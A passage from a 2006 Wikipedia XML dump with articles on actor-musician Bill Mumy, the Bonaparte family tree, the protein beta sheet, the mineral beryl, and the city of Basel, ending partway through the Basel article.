      <text xml:space="preserve">[[image:dearboy.jpg|thumb|Bill Mumy]]
'''Charles William Mumy Jr.''' (MOO-mee) (born [[February 1]], [[1954]] in [[San Gabriel, California|San Gabriel]], [[California]]) is an [[United States|American]] [[musician]], [[actor]] and a figure in the [[science fiction]] community.  He began his professional career at the age of 5 and has worked on over 400 [[television]] shows, 16 [[motion picture]]s, various commercials and scores of voice over work as well as working as a musician, songwriter, recording artist and writer.  

He is probably best known as &quot;Will Robinson&quot; from the [[1960s]] television series ''[[Lost in Space]]'' and as [[Lennier]], the alien Ambassadorial aide suffering from unrequited love in the series ''[[Babylon 5]]''.  He is well known as a player in the original ''[[Twilight Zone]]'', especially in the episode, &quot;[[It's a Good Life (The Twilight Zone)|It's a Good Life]]&quot;, where he played the all powerful and amoral child &quot;Anthony&quot; who completely dominates and terrorizes his town.  He later played a grown up father who has a daughter with similar powers in the second revival of the Twilight Zone. He also played a [[Starfleet]] member in the acclaimed ''[[Star Trek: Deep Space Nine]]'' episode [[The Siege of AR-558 (DS9 episode)|The Siege of AR-558]]. He requested that he play a human, as he had worn extensive makeup as Lennier.

Unlike many child actors, he entered the profession at his own insistence, and his parents took pains to make sure Billy matured properly in his job. His father, who was a cattle rancher, carefully invested Billy's income, and thereby avoided many of the problems of other [[child actor]]s like [[Jackie Coogan]]. Billy was first choice for the role of Eddie [[The Munsters|Munster]] but his parents objected because of the extensive make-up; Billy did appear in one episode as a friend of Eddie.

[[Image:B5_lennier.jpg|right|thumb|Bill Mumy as [[Lennier]] in ''[[Babylon 5]]'']]

Mumy is also an accomplished musician who plays [[guitar]], [[bass guitar|bass]], [[Keyboard instrument|keyboard]]s, [[banjo]], [[mandolin]], [[harmonica]] and percussion. Among his various musical credits Bill has recorded and written songs with America, toured with Shaun Cassidy and played in Rick Springfield's band in the film Hard to Hold. 

Bill has released a number of solo [[Compact disc|CD]]s, including ''Dying To Be Heard'', ''In The Current'', ''Pandora's Box'', &quot;After Dreams Come True&quot;, &quot;Los Angeles Times&quot; and &quot;Ghosts&quot; as well as 9 albums with partner [[Robert Haimer]] as [[Barnes and Barnes]].  Their most famous hit is the song &quot;Fish Heads&quot; which was named as one of the top 100 videos of all time by Rolling Stone magazine.

He is currently a member of the band [[Jenerators]], and they have produced 3 CDs, ''Jenerators'', ''Hitting the Silk'' and &quot;Pony Up&quot;.

Most of [http://www.indieclectic.com/artistroom.aspx?gid=10036 Bill's Music] is available for dowload at indiecletic.com

Mumy is the co-creator with writer [[Peter David]] of the award winning children's television series ''[[Space Cases]]''.  The two have also written screenplays, comic books and short stories together.

He currently lives in [[Hollywood Hills]], California with his wife Eileen and their two children, Seth and [[Liliana Mumy|Liliana]].

==Filmography==
* ''[[Star Trek: Deep Space Nine]]'' ([[2000 in television|2000]]) (TV)
* ''[[The Monkey Prince]]'' ([[1997 in film|1997]]) ([[direct-to-video|V]]) ([[voice actor|voice]])
* ''[[Underground Adventure]]'' (1997) (V) (voice) (as Billy Mumy)
* ''[[Three Wishes (movie)|Three Wishes]]'' ([[1995 in film|1995]]) .... Neighbor
* ''[[Babylon 5]]'' ([[1994 in television|1994]]) [[television program|TV Series]]
* ''[[Double Trouble]]'' ([[1992 in film|1992]]/I)
* ''[[Captain America]]'' ([[1991 in film|1991]])
* ''[[Alfred Hitchcock Presents]]'' ([[1985 in television|1985]]) ([[television|TV]])
* ''[[Hard to Hold]]'' ([[1984 in film|1984]])
* ''[[Twilight Zone: The Movie]]'' ([[1983 in film|1983]])
* ''[[Fish Heads]]'' ([[1982 in film|1982]])
* ''[[Sunshine Christmas]]'' ([[1977 in television|1977]]) (TV)
* ''[[Sunshine]]'' ([[1975 in television|1975]]) TV Series
* ''[[The Rockford Files]]'' ([[1974 in television|1974]]) (TV)
* ''[[Papillon (autobiography)|Papillon]]'' ([[1973 in film|1973]])
* ''[[Sunshine (TV)|Sunshine]]'' (1973) (TV)
* ''[[Bless the Beasts &amp; Children]]'' ([[1971 in film|1971]])
* ''[[Rascal]]'' ([[1969 in film|1969]])
* ''[[Wild in the Streets]]'' ([[1968 in film|1968]])
* ''[[Lost in Space]]'' ([[1965 in television|1965]]) TV Series
* ''[[Dear Brigitte]]'' (1965)
* ''[[For the Love of Willadean]]'' ([[1964 in television|1964]]) (TV)
* ''[[The Fugitive (television series)|The Fugitive]]'' ([[1964 in television|1964]]) (TV)
* ''[[Palm Springs Weekend]]'' ([[1963 in film|1963]])
* ''[[A Ticklish Affair]]'' (1963)
* ''[[A Child Is Waiting]]'' (1963)
* ''[[Sammy the Way Out Seal]]'' ([[1962 in television|1962]]) (TV)
* ''[[Tammy Tell Me True]]'' ([[1961 in film|1961]])
* ''[[The Wizard of Baghdad]]'' ([[1960 in film|1960]])

==External links ==
* [http://www.billmumy.com/ Official Site]
* {{imdb name|id=0612621|name=Bill Mumy}}
* {{tvtome person|id=22143|name=Bill Mumy}}
* {{memoryalpha}}
*[http://www.indieclectic.com/artistroom.aspx?gid=10036 Bill's Music] at [http://www.indieclectic.com/ indieclectic.com]

[[Category:1954 births|Mumy, Bill]]
[[Category:Babylon 5 cast and crew|Mumy, Bill]]
[[Category:Child actors|Mumy, Bill]]
[[Category:People from the Greater Los Angeles Area|Mumy, Bill]]
[[Category:Television actors|Mumy, Bill]]
[[Category:Star Trek actors|Mumy, Bill]]
[[Category:Batman actors|Mumy, Bill]]
[[Category:Living people|Mumy, Bill]]


[[fr:Bill Mumy]]</text>
    </revision>
  </page>
  <page>
    <title>Bonaparte</title>
    <id>4905</id>
    <revision>
      <id>41348869</id>
      <timestamp>2006-02-26T19:39:24Z</timestamp>
      <contributor>
        <username>Vladislaus Draculea</username>
        <id>289450</id>
      </contributor>
      <text xml:space="preserve">:''This article is about the family of [[Napoleon I of France|Napoleon Bonaparte]]. There is also an article on the [[Argentina|Argentinian]] [[paleontologist]], [[José Bonaparte]]. For the Olympic medallist, see [[Bonaparte (horse)]].''

Of [[Corsica]]n origin, the '''Bonaparte''' (originally '''Buonaparte''') family is the family of [[Napoleon I of France|Napoleon I]], who was elected as first consul of [[France]] on [[November 10]], [[1799]] with the help of his brother, [[Lucien Bonaparte]], president of the [[Council of Five Hundred]] at [[Saint-Cloud]].

Napoleon I was crowned [[Emperor]] of the French [[1804]]-[[1814]], [[1815]]; the Bonaparte family also provided kings of [[Spain]], [[Naples]], [[Kingdom of Holland|Holland]] and [[Kingdom of Westphalia|Westphalia]], and a second French Emperor, [[Napoleon III of France|Napoleon III]]. Supporters of the Bonaparte family's claim to the throne of France are known as [[Bonapartists]]. 
[[Image:Buonaparte2.jpg|thumb|The original arms of the Buonapartes]]
The family originally came from [[Florence]].  The first Buonaparte to move to Corsica was [[Francesco Buonaparte]], who moved there in the [[16th century]], when Corsica was a [[Genoa|Genoese]] possession.  The arms of the Buonaparte family were: ''Gules two bends sinister between two stars or''.  In [[1804]] Napoleon changed the arms to ''Azure an imperial eagle or''.  The change applied to all members of his family except for his brother Lucien, and the son of Jerome's first marriage.

Following his conquest of most of [[Western Europe]], the first Napoleon made his elder brother [[Joseph Bonaparte|Joseph]] ([[1768]]-[[1844]]) king first of [[Naples]] and [[Sicily]] ([[1806]]-[[1808]]) and then of [[Spain]] (1808-[[1813]]), his third brother [[Louis Bonaparte|Louis]] ([[1778]]-[[1846]]) king of Holland ([[1806]]-[[1810]]) (subsequently forcing his abdication after his failure to subordinate Dutch interests to those of France) and his youngest brother [[Jérôme Bonaparte]] ([[1784]]-[[1860]]) king of [[Kingdom of Westphalia|Westphalia]], the short-lived realm created from some of the states of northwestern [[Germany]] ([[1807]]-1813). 

Napoleon's son [[Napoleon II of France|Napoleon Joseph]] ([[1811]]-[[1832]]) was created king of [[Rome]] ([[1811]]-[[1814]]) and was later styled Napoleon II by loyalists of the dynasty, though he never actually ruled as Emperor. Charles Louis Napoleon ([[1808]]-[[1873]]), son of Louis Napoleon, was president of France in [[1848]]-[[1852]] and emperor in [[1852]]-[[1870]], reigning as [[Napoleon III of France|Napoleon III]]; his son, [[Eugene Bonaparte]] ([[1856]]-[[1879]]), styled the [[Prince Imperial]], died fighting the [[Zulu]]s in [[KwaZulu-Natal Province|Natal]], [[South Africa]]. With his death, the family lost much of its remaining political appeal, though claimants continued to assert their right to the imperial title. 

==The family tree==
[[Carlo Buonaparte|Carlo-Maria]] ([[Ajaccio]] [[1746]]-[[Montpellier]] [[1785]]) married [[Maria Letizia Ramolino]] (Ajaccio [[1750]] - Rome [[1836]]) in [[1764]].  He was a minor official in the local courts. They had eight children:

#[[Joseph Bonaparte|Joseph]] ([[Corte]] [[1768]]-[[Florence, Italy|Florence]] [[1844]]), King of Naples and Spain, married [[Julie Clary]], sister of Napoleon's childhood sweetheart, [[Désirée Clary|Désirée]], who was to become the wife of [[Charles XIV of Sweden]].  
#*3 daughters:
#*[[Julie Joséphine Bonaparte]] ([[1796]]-[[1796]])
#*[[Zénaïde Laetitia Julie Bonaparte]] ([[1801]]-[[1854]])
#*[[Charlotte Napoléone Bonaparte]] ([[1802]]-[[1839]])
#[[Napoleon I of France|Napoléon]] (1769-1821) Emperor
#*Napoleon Joseph (1811-1832) [[Napoleon II]], son of Archduchess [[Marie Louise]] of [[Austria]]
# [[Lucien Bonaparte|Lucien]] ([[Ajaccio]] [[1775]]-[[Viterbo]] [[1840]])
#*2 daughters with first wife, Katherina Boyer
#*10 children with second wife, Alexandrine von Bleschamps, including:
#*[[Pierre Napoleon Bonaparte]]
#*[[Louis Lucien Bonaparte]]
#*[[Charles Lucien Bonaparte|Charles Lucien Jules Laurent Bonaparte]] ornithologist and politician
# Maria-Anna or [[Elisa Bonaparte|Elisa]] (Ajaccio [[1777]]-near Trieste [[1820]]), grand-duchess of [[Tuscany]] 
#*5 children
#[[Louis Bonaparte|Louis]], ([[1778]] - [[1846]]) married [[Hortense de Beauharnais]], Napoleon's stepdaughter
#*[[Napoleon Charles Bonaparte]] ([[1802]]-[[1807]])
#*[[Napoleon Louis Bonaparte]] ([[1804]]-[[1831]])
#*[[Napoleon III|Charles Louis Napoleon Bonaparte]]  ([[1808]]-[[1873]]) Emperor, married [[Empress Eugénie|Maria Eugenia Ignacia Augustina Palafox de Guzmán Portocarrero y Kirkpatrick]]
#**[[Napoléon Eugène, Prince Imperial|Napoleon Eugene Louis John Joseph]] ([[1856]]-[[1879]]) 
#Maria Paola or [[Pauline Bonaparte|Pauline]] (Ajaccio [[1780]]-Florence [[1825]]), married in [[1797]] to French general [[Charles Leclerc]] and later married Prince [[Borghese]].
#Maria Annunziata or [[Caroline Bonaparte|Caroline]], married [[Joachim Murat]]
#[[Jérôme Bonaparte|Jérôme]] (Ajaccio [[1784]]-[[Massy]], [[Essonne]],[[1860]]), King of Westphalia
#*2 children from first marriage, to [[Elizabeth Patterson|Betsey Patterson]] of [[Baltimore, Maryland|Baltimore]], including:
#*[[Jérôme Napoleon Bonaparte]], married [[Susan May Williams]]
#**2 sons:
#**[[Charles Joseph Bonaparte]], [[U.S. Attorney General]]
#**[[Jerome Napoleon Bonaparte II]], married [[Caroline Le Roy Appleton Edgar]]
#***2 children:
#***[[Louise-Eugénie Bonaparte]] ([[1873]]-[[1923]]), married in [[1896]] Count [[Adam Carl von Moltke-Huitfeld]] ([[1864]]-[[1944]])
#***[[Jerome Napoleon Charles Bonaparte]] (1878-1945), married in [[1914]] [[Blanche Pierce Stenbeigh]]: no children.
#*3 children from second marriage, to [[Catharina of Württemberg]], including:
#*[[Napoléon Joseph Charles Paul Bonaparte]] ([[September 9th]] 1822 - [[March 18th]] [[1891]]), called ''Plon-Plon'' ∞ [[Marie Clothilde]] ([[1843]]-[[1911]]), daughter of [[Victor Emanuel II of Italien]] 
#**[[Napoléon Victor Jérôme Frédéric Bonaparte]] ([[July 18th]] [[1862]] - [[May 3rd]] [[1926]]) ∞ [[Clémentine Albertine Marie Léopoldine of Belgium]] ([[1872]]-[[1955]]) 
#***[[Napoléon Louis Bonaparte]] ([[1914]]-[[1997]]) 
#****[[Napoléon Joseph Charles Paul Bonaparte the 2nd|Napoléon Joseph Charles Paul Bonaparte]] (* [[1950]]) 
#*****Jean (* [[1986]])
#****[[Jérôme Bonaparte the 2nd|Jérôme Bonaparte]] (* [[1957]])
#**[[Luis Bonaparte]] ([[July 16th]] [[1864]] - [[October 14th]] [[1932]]) - russ. general
#**[[Laetitia Bonaparte]] ([[December 20th]] [[1866]] - [[October 24th]] [[1926]])
#*[[Mathilde Bonaparte]], married Prince [[Anatole Demidoff di San Donato]]: no children
#* [[Marie Bonaparte]],Napoleon's great-great-grand-niece

==Current descendants==

The current head of the family is the prince Napoleon ([[Napoléon Joseph Charles Paul Bonaparte II]], born [[1950]]), great-great-grandson of [[Jérôme Bonaparte]] by his second marriage; he has a son [[Jean Bonaparte|Jean]] (born [[1986]]) and a brother, Jérôme Bonaparte, (born [[1957]]), unmarried.  There are no remaining descendants in male line from any other of Napoleon's brothers. There are, however, numerous descendants of Napoleon's illegitimate son [[Walewski]] from his union with [[Rachel Félix]].

==See also==
* [[History of France]]
* [[History of Spain]]
* [[History of Italy]]
* [[History of the Netherlands]]
* [[Napoleon (disambiguation)]]

==External links==

*[http://perso.club-internet.fr/ameliefr/E-Genealogie.html Genealogy of the Bonaparte family]
[[Category:Royal families]]
[[Category:The Bonapartes|*]]
[[Category:Family trees]]

[[de:Bonaparte]]
[[eo:Bonaparte]]
[[fr:Maison Bonaparte]]
[[nl:Bonaparte]]
[[pl:Bonaparte (ród)]]
[[ru:Бонапарты]]
[[uk:Бонапарт]]</text>
    </revision>
  </page>
  <page>
    <title>Beta sheet</title>
    <id>4906</id>
    <revision>
      <id>38764840</id>
      <timestamp>2006-02-08T14:23:34Z</timestamp>
      <contributor>
        <username>Isnow</username>
        <id>180201</id>
      </contributor>
      <minor />
      <comment>/* External links */ +zh</comment>
      <text xml:space="preserve">&lt;!-- Note to editors: please add more info to this article if possible --&gt;

[[Image:BetaPleatedSheetProtein.png|right|thumb|200px|Diagram of &amp;beta;-pleated sheet with H-bonding between protein strands]]
The '''&amp;beta; sheet''' (also '''&amp;beta;-pleated sheet''') is a commonly occurring form of regular [[secondary structure]] in [[protein]]s, first proposed by [[Linus Pauling]] and [[Robert Corey]] in [[1951]]. It consists of two or more [[amino acid]] sequences within the same protein that are arranged adjacently and in parallel, but with alternating orientation such that [[hydrogen bond]]s can form between the two strands.  The amino acid chain is almost fully extended throughout a &amp;beta; strand.  The [[amine|N-H]] groups in the backbone of one strand establish hydrogen bonds with the [[carbonyl|C=O]] groups in the backbone of the adjacent, parallel strand(s).  The cumulative effect of multiple such hydrogen bonds arranged in this way contributes to the sheet's stability and structural rigidity and integrity.  The &amp;alpha;-C atoms of adjacent strands stand 350 picometres (0.35 nm) apart.  

The side chains from the amino acid residues found in a &amp;beta; sheet structure may also be arranged such that many of the adjacent sidechains on one side of the sheet are hydrophobic, while many of those adjacent to each other on the alternate side of the sheet are polar or charged (hydrophilic).

Some sequences involved in a &amp;beta; sheet, when traced along the backbone, take a ''hairpin turn'' in orientation (direction), sometimes through one or more [[proline]]s. 

Beta sheets actually are not flat as the name might imply. The strands that make up the structure are upon closer observation actually very loosely wound right-hand helices. This is a consequence of the phi and psi rotational angles that are repeated across the backbone of the peptide strands. 

Beta sheet aggregation causes certain diseases including neural diseases like Alzheimer's.

==See also==
*[[tertiary structure]] 
*[[alpha helix|&amp;alpha; helix]]
*[[collagen helix]]
*[[Foldamers]]
Beta sheets when amassed can form amyloid plaques, which in turn, can cause Alzheimer's Disease.

==External links==
*[http://www2.ufp.pt/~pedros/anim/2frame_sheeten.htm Interactive model of an anti-parallel &amp;beta; sheet]
*[http://www2.ufp.pt/~pedros/anim/2frame_psheeten.htm Interactive model of a parallel &amp;beta; sheet]
plug-in required

[[Category:biochemistry]]
[[Category:Protein structural motifs]]

[[de:Beta-Faltblatt]]
[[es:Beta-lámina]]
[[ja:Βシート]]
[[nl:Bèta-sheet]]
[[pl:Harmonijka beta]]
[[zh:Β－折叠层]]

{{biochem-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Basel-Stadt</title>
    <id>4909</id>
    <revision>
      <id>15903157</id>
      <timestamp>2003-03-05T06:55:15Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>Redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Basel-City]]</text>
    </revision>
  </page>
  <page>
    <title>Beryl</title>
    <id>4910</id>
    <revision>
      <id>41585775</id>
      <timestamp>2006-02-28T08:41:17Z</timestamp>
      <contributor>
        <username>Feezo</username>
        <id>155651</id>
      </contributor>
      <minor />
      <comment>/* Varieties */ Removed link to [[Heliodor]], since it's a redirect to [[Beryl]]</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Emerald rough 300x422.jpg|thumb|Beryl var. [[emerald]].]]

The [[mineral]] '''beryl''' is a [[beryllium]] [[aluminium]] [[Silicate minerals#Cyclosilicates|cyclosilicate]] with the chemical formula Be&lt;sub&gt;3&lt;/sub&gt;Al&lt;sub&gt;2&lt;/sub&gt;(&lt;nowiki&gt;SiO&lt;/nowiki&gt;&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;6&lt;/sub&gt;. The [[hexagonal]] [[crystal]]s of beryl may be very small or range to several meters in size. Terminated crystals are relatively rare. Beryl exhibits [[conchoidal fracture]], has a [[Mohs scale of mineral hardness|hardness]] of 7.5-8, a [[specific gravity]] of 2.63-2.80. It has a vitreous lustre and can be transparent or translucent.  Its cleavage is poor basal and its habit is dihexagonal bipyramidal.  Pure beryl is colorless, but it is frequently tinted by impurities; possible colors are [[green]], [[blue]], [[yellow]], [[red]], and [[white]]. The name comes from the [[Greek language|Greek]] ''beryllos'' for the ''precious blue-green color of sea water''. 

==Varieties==
Varieties of beryl have been considered [[gemstone]]s since prehistoric times. Green beryl is called [[emerald]], red beryl is [[bixbite]] or red emerald or scarlet emerald, blue beryl is [[aquamarine]], pink beryl is [[morganite]], white beryl is goshenite, and a clear bright yellow beryl is called [[golden beryl]]. Other shades such as yellow-green for heliodor and honey yellow are common.

==Deposits==
Beryl is found most commonly in [[granite|granitic]] [[pegmatite]]s, but also occurs in [[mica]] [[schist]]s in the [[Ural Mountains]] and is often associated with [[tin]] and [[tungsten]] orebodies. Beryl is found in certain European countries such as [[Austria]], [[Germany]], and [[Ireland]]. It also occurs in [[Madagascar]] (especially morganite).

The most famous source of emeralds in the world is at Muso and Chivor, [[Boyacá Department|Boyacá]], [[Colombia]], where they make a unique appearance in [[limestone]]. Emeralds are also found in the [[Transvaal]], [[South Africa]], [[Minas Gerais]], [[Brazil]], and near [[Mursinka]] in [[Urals]]. In the [[United States]] emeralds are found in [[North Carolina]]. [[New England]]'s pegmatites have produced some of the largest beryls found, including one massive crystal with dimensions 5.5 m by 1.2 m (18 ft by 4 ft) with a mass of around 18 metric tons. Other beryl locations include [[South Dakota]], [[Colorado]], [[Utah]], and [[California]].

==Applications==
Massive beryl is a primary [[ore]] of the metal beryllium.

The druids used beryl for scrying, while the Scottish called them “stones of power”. The earliest crystal balls were made from beryl, later being replaces by rock crystal.

== References and external links ==
*Sinkankas, John, 1994, ''Emerald &amp; Other Beryls'', Geoscience Press, ISBN 0801971144
*Hurlbut, Cornelius S.; Klein, Cornelis, 1985, ''Manual of Mineralogy'', 20th ed., John Wiley and Sons, New York ISBN 0471805807
*[http://www.minerals.net/mineral/silicate/cyclo/beryl/beryl.htm Minerals.net]
*[http://webmineral.com/data/Beryl.shtml Webmineral.com]
*[http://mineral.galleries.com/minerals/silicate/beryl/beryl.htm Mineral Galleries]

==See also==
* [[List of minerals]]

[[Category:Gemstones]]
[[Category:Beryllium minerals]]
[[Category:Aluminium minerals]]
[[Category:Silicate minerals]]

[[de:Beryll]]
[[fr:Béryl]]
[[hr:Beril]]
[[lt:Berilas]]
[[nl:Beryl]]
[[ja:緑柱石]]
[[pl:Beryl (minerał)]]
[[pt:Berilo]]
[[ru:Берилл]]
[[fi:Berylli]]</text>
    </revision>
  </page>
  <page>
    <title>Basel</title>
    <id>4911</id>
    <revision>
      <id>41689351</id>
      <timestamp>2006-03-01T01:59:57Z</timestamp>
      <contributor>
        <ip>65.57.245.11</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Swiss_town|subject_name=[[Image:Switzerland canton flag bs.png|95px|none|Basel-Stadt]]|
canton=Basel-Stadt|
district=n.a.|
nd=47|nm=34|ed=7|em=36|
postal_code=4000|
population=166120|populationof=December 2002|
area=22.75|altitude=260|
mayor=[[Ralph Lewin]] (&lt;small&gt;[[Basel-Stadt|Pres. of Cantonal exec.]]&lt;/small&gt;)|
website=www.basel.ch|
map=map missing|
}}{{clearright}}{{CHdot|Basel}}

'''Basel''' (British [[English language|English]] traditionally: ''Basle'' {{IPA|[b&amp;#593;&amp;#720;l]}} and more recently '''Basel''' {{IPA|['ba:z&amp;#601;l]}}, [[German language|German]]: ''Basel'' {{IPA|['ba:z&amp;#601;l]}}, [[French language|French]]: ''Bâle'' {{IPA|[b&amp;#593;l]}}, [[Italian language|Italian]]: ''Basilea'' {{IPA|[bazi'le&amp;#720;a]}}) is [[Switzerland]]'s third most populous city (166,563 inhabitants ([[2004]]); 690,000 inhabitants in the conurbation stretching across the immediate cantonal and national boundaries made Basel Switzerland's second-largest urban area as of [[2003]]).

Located in north-west Switzerland on the river [[Rhine]], Basel functions as a major industrial centre for the chemical and pharmaceutical industry. The city borders both [[Germany]] and [[France]]. The Basel region, culturally extending into German [[Baden-Württemberg|Baden]] and French [[Alsace]], reflects the heritage of its three [[state]]s in the modern Latin name: &quot;[[Regio TriRhena]]&quot;. It has the oldest [[University of Basel | university]] of the Swiss Confederation ([[1460]]). 

==Transportation==
Basel has Switzerland's only cargo port, through which goods pass along the navigable stretches of the Rhine.

[[EuroAirport Basel-Mulhouse-Freiburg]] is the only airport in the world operated jointly by three countries, France and Switzerland and Germany. Contrary to popular belief, the airport is located completely on French soil. The airport itself is split into two architecturally independent halves, one half serving the French side and the other half serving the Swiss side; there is a customs point at the middle of the airport so that people can &quot;emigrate&quot; to the other side of the airport.

Basel has long held an important place as a rail hub. Three railway stations &amp;mdash; those of the German, French and Swiss networks &amp;mdash; lie within the city (although the Swiss (Basel [[SBB-CFF-FFS|SBB]]) and French (Basel [[SNCF]]) stations are actually in the same complex, separated by Customs and Immigration facilities). A goods railway complex exists as well.

Basel has an extensive public transportation network serving the city and connecting to surrounding suburbs. The green-colored local [[light rail|trams]] and buses are operated by the BVB ([http://www.bvb-basel.ch/ Basler Verkehrs-Betriebe]). The yellow-colored buses and trams are operated by the BLT ([http://www.blt.ch/ Baselland Transport]), and connect areas in the nearby half-canton of Basel-Land to central Basel. The trams are powered by [[overhead lines]], and the bus fleet is mix of electric and conventional fuel-powered vehicles. The BVB also shares commuter bus lines in cooperation with transit authorities in the neighboring Alsace region in France and Baden region in Germany.

[[Image:Basel Panorama.jpg|thumb|center|600px|A panoramic view of Basel, looking east over Kleinbasel (smaller Basel)]]

==Industry and trade==
[[Image:P4260257.JPG|thumb|300px|Marktplatz, Basel's market square.]]
An annual Federal Swiss trade fair (Mustermesse) takes place in Kleinbasel on the right bank of the Rhine. Other important trade shows include &quot;Basel&quot; (watches and jewelry), Art, Orbit and Cultura.

The Swiss chemical industry operates largely from Basel, with [[Novartis]], [[Ciba Specialty Chemicals]], [[Clariant]], and [[Hoffmann-La Roche]] headquartered there. Pharmaceuticals and specialty chemicals have become the modern focus of the city's industrial production. Some of the chemical industry's most notable creations include [[DDT]], [[Araldite]] and [[LSD]].

[[UBS AG]] maintains central offices in Basel, giving finance a pivotal role in the local economy. The importance of banking began when the [[Bank for International Settlements]] located within the city in 1930. Basel's innovative financial industry includes institutions like the [[Basel Committee on Banking Supervision]]. Responsible for the Basel Accords (''[[Basel I]]'' and ''[[Basel II]]'') , this organization fundamentally changed [[Risk Management]] within its industry.

[[Image:28014445.rathaus.jpg|thumb|right|Rathaus, Basel's Town Hall.]]

Basel has Switzerland's tallest building, [[Basler Messeturm]].

==History and science==
Basel traces its history back to at least the days of the [[Roman Empire]] settlement of [[Augusta Raurica]] though even older Celtic settlements (including a &quot;vitrified fort&quot;) have been discovered recently predating the roman castle. The city's position on the [[Rhine]] long emphasised its importance: Basel for many centuries possessed the only bridge over the river &quot;between [[Lake Constance]] and the sea&quot;. 

From [[999]], Basel was ruled by [[prince-bishop]]s (see [[Bishop of Basel]])

In [[1019]] the construction of the cathedral of Basel began under German Emperor [[Henry II, Holy Roman Emperor|Heinrich II]].

In [[1225]]&amp;ndash;[[1226]] the Bridge over the Rhine was constructed by Bishop Heinrich von Thun and lesser Basel (Kleinbasel) founded as a beachhead to protect the bridge.

In [[1356]] an earthquake caused extensive damage in the city destroying a vast number of castles in the vicinity, allowing the city to offer courts in the city to nobles as an alternative to rebuilding their castles in exchange for their protection of the city. The De Bâle family moves in and helps rebuild the city and surrounding country, but set up house in Basel-Land.

Basel became the focal point of western Christendom during the 15th-century [[Council of Basel]] ([[1431]] &amp;ndash;[[1449]]), including the [[1439]] election of antipope [[Felix V]].

In [[1459]] Pope [[Pius II]] endowed the University of Basel where notables like [[Erasmus]] of Rotterdam, [[Paracelsus]] and [[Hans Holbein the Younger]] taught. At the same time printing was introduced in Basel by apprentices of [[Johann Gutenberg|Gutenberg]]. The Schwabe publishing house was founded 1488 by Johannes Petri and is the oldest publishing house still in business. [[Johann Froben]] also operated his printing house in Basel and was notable for publishing works by Erasmus.

In [[1495]], Basel was incorporated in the Upper Rhenish [[Imperial Circle]], the bishop sitting on the Bench of the Ecclesiastical Princes.

In [[1500]] the construction of the cathedral of Basel (German: Münster) was finished.

In [[1501]] Basel de-facto separated from the Holy Roman Empire and joined the [[Old Swiss Confederacy|Swiss Confederation]] as 11th state, and began of the construction of the city council building. The bishop continued to reside in Basel until the reformation of [[Johannes Oecolampadius|Oecolampadius]] in [[1529]]. The bishop's [[crook]] was however retained as the city's [[Coat of Arms of Basel|coat of arms]].

In [[1543]] [[De humani corporis fabrica]], the first anatomy book was published and printed in Basel by [[Andreas Vesalius]] ([[1514]]&amp;ndash;[[1564]]).

In [[1662]] the [[Amerbaschsches Kabinett]] formed the basis of the world's first public art collection and exposition, forming the core of the museum of art of Basel.

== Quarters ==
Basel is not subdivided into official counties, districts or boroughs, but into unofficial quarters. There are 19 quarters; the municipalities of [[Riehen]] and [[Bettingen]] are not included.

{| border=&quot;0&quot; cellpadding=&quot;0&quot;
! style=&quot;background:#B0C4DE;&quot; width=&quot;120&quot;| Quartier
! style=&quot;background:#B0C4DE;&quot; width=&quot;50&quot;| ha
! style=&quot;background:#B0C4DE;&quot; width=&quot;20&quot;| 
! style=&quot;background:#B0C4DE;&quot; width=&quot;120&quot;| Quartier
! style=&quot;background:#B0C4DE;&quot; width=&quot;50&quot;| ha
! width=&quot;25&quot;|  
|-
| [[Grossbasel central quarter, Basel|Central quarter of Grossbasel]] || align=&quot;right&quot; |  37,63 || || [[Kleinbasel central quarter, Basel|Central quarter of Kleinbasel]] || align=&quot;right&quot; | 24,21 || ||
|-
| [[Suburbs quarter, Basel|Suburbs]] || align=&quot;right&quot; | 89,66 || || [[Claire quarter, Basel|Claire]] || align=&quot;right&quot; | 23,66 || ||
|-
| [[Am Ring quarter, Basel|Am Ring]] || align=&quot;right&quot; | 90,98 || || [[Wettstein quarter, Basel|Wettstein]] || align=&quot;right&quot; | 75,44 || ||
|-
| [[Breite quarter, Basel|Breite]] || align=&quot;right&quot; | 68,39 || || [[Hirzbrunnen quarter, Basel|Hirzbrunnen]] || align=&quot;right&quot; | 305,32 || ||
|-
| [[Saint Alban quarter, Basel|Saint Alban]] || align=&quot;right&quot; | 294,46 || || [[Rosental quarter, Basel|Rosental]] || align=&quot;right&quot; | 64,33 || ||
|-
| [[Gundeldingen quarter, Basel|Gundeldingen]] || align=&quot;right&quot; | 123,19 || || [[Matthew quarter, Basel|Matthew]] || align=&quot;right&quot; | 59,14 || ||
|-
| [[Bruderholz quarter, Basel|Bruderholz]] || align=&quot;right&quot; | 259,61 || || [[Klybeck quarter, Basel|Klybeck]] || align=&quot;right&quot; | 91,19 || ||
|-
| [[Bachletten quarter, Basel|Bachletten]] || align=&quot;right&quot; | 151,39 || || [[Kleinhüningen quarter, Basel|Kleinhüningen]] || align=&quot;right&quot; | 136,11 || ||
|-
| [[Gotthelf quarter, Basel|Gotthelf]] || align=&quot;right&quot; | 46,62 || || '''City of Basel''' || align=&quot;right&quot; | '''2275,05''' || ||
|-
| [[Iselin quarter, Basel|Iselin]] || align=&quot;right&quot; | 109,82 || || [[Riehen]] || align=&quot;right&quot; | 1086,10 || ||
|-
| [[Saint John quarter, Basel|Saint John]] || align=&quot;right&quot; | 223,90 || || [[Bettingen]] || align=&quot;right&quot; | 222,69|| ||
|-
|  || align=&quot;right&quot; |  || || '''Canton of Basel-City''' || align=&quot;right&quot; | '''3583,84''' || ||

|}

==Architecture==
The Romanesque [[Münster (cathedral)|Münster]], with its two (uneven) towers forms an architectural monument which survived medieval earthquake. The tomb of [[Erasmus]] lies inside the Münster.

Basel is also host to an array of buildings by internationally renowned architects, such as the [[Beyeler Foundation]] by [[Renzo Piano]], or the Vitra complex in nearby Weil am Rhein, comprised of three buildings by [[Zaha Hadid]] (fire station), [[Frank Gehry]] (design museum), [[Tadao Ando]] (conference centre), [[Mario Botta]] (Jean Tinguely Museum and Bank of International settlements)and several buildings by [[Herzog &amp; de Meuron]] (originally from Basel, but otherwise known as the architects of the [[Tate Modern]] in London).

==Education==
